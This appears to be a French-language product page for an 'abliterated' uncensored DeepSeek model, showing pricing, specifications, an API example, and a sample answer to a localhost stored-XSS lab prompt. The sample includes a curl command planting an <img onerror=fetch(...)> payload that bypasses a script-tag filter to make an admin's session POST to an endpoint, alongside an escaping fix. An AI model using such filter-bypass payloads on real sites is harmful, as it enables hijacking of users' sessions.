Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash Abliterated Fast
deepseek-v4.1-flash-abliterated-fastDisponible dans le chat du navigateur et via une API compatible OpenAI.
Tarifs des tokens
Prix en USD par 1 million de tokens
- Entrée / 1M
- 1,400 $US
- En cache / 1M
- 0,320 $US
- Sortie / 1M
- 1,400 $US
Caractéristiques du modèle
DeepSeek · ablitéré
- Fenêtre de contexte
- 1 000 000 tokens
- Sortie maximale
- 65 536 tokens
- Capacités
- Texte · Streaming · Appels d’outils
Performances mesurées
- Tokens/s moyens
- ≈ 218,4
- TTFT estimé
- 1,6 s
- Indicateur de disponibilité
- 100%
Mis à jour 01/11/2026 20:37:37 UTC · Réussite du fournisseur sur 24 h · Un tiret indique un manque de mesures récentes.
Découvrez la réponse du modèle
Réponse réelle à une question XSS persistante dans un laboratoire localhost. La question et la réponse sont en anglais. La sortie est du texte ; aucun exemple de code ne s’exécute ici.
DeepSeek V4.1 Flash Abliterated Fast
Réponse enregistrée · 28 oct. 2026, 19:02 UTC
Extrait sélectionné de la réponse enregistrée. Certaines parties sont omises.
Reproduce:
node server.js
curl -s -X POST http://localhost:3000/comment \
--data-urlencode "comment=<img src=x onerror=\"fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED%20IN%20THE%20LAB'})\">"
xdg-open 'http://localhost:3000/admin/view?admin=1' # macOS: open ...
sleep 1
curl -s http://localhost:3000/bannerExpected: OWNED IN THE LAB.
The stored <img onerror=...> survives the naive <script> filter. /admin/view?admin=1 sets the fake admin=1 cookie, renders the comment, and the same-origin fetch POSTs to /admin/banner with that cookie.
Safe fix: always render comments with esc(c); e.g. visit /admin/view?admin=1&safe=1, and the payload appears as text.
Exemple enregistré, pas un chat en direct.Ouvrir le chat
Utilisez ce modèle via l’API
Créez une clé API et ajoutez du crédit. Définissez UNCENSOREDLABS_API_KEY dans votre environnement. Installez le paquet openai pour JavaScript ou Python.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-abliterated-fast",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' Compatible avec OpenAI. Modifiez votre URL de base.Lire le guide de démarrage rapide
Limites et facturation
- L’absence de filtrage ne garantit pas une réponse à chaque question. Les réponses peuvent être incorrectes, incomplètes ou refusées.
- La sortie maximale est la limite du service UncensoredLabs. Les longues générations et les charges à contexte complet n’ont pas été évaluées.
- Les crédits sont réservés pour la sortie demandée et une borne d’entrée prudente ; le contexte complet est réservé sans comptabilité vérifiée selon la taille de la requête. Les frais finaux utilisent l’usage vérifié ; les requêtes incertaines peuvent conserver leur réserve.
- Le délai est de dix minutes. Les limites de débit, de concurrence et la disponibilité du fournisseur s’appliquent ; les erreurs incluent 429 avec Retry-After.
- UncensoredLabs ne stocke pas les questions ni les réponses sur ses serveurs. La politique de conservation du fournisseur d’inférence s’applique.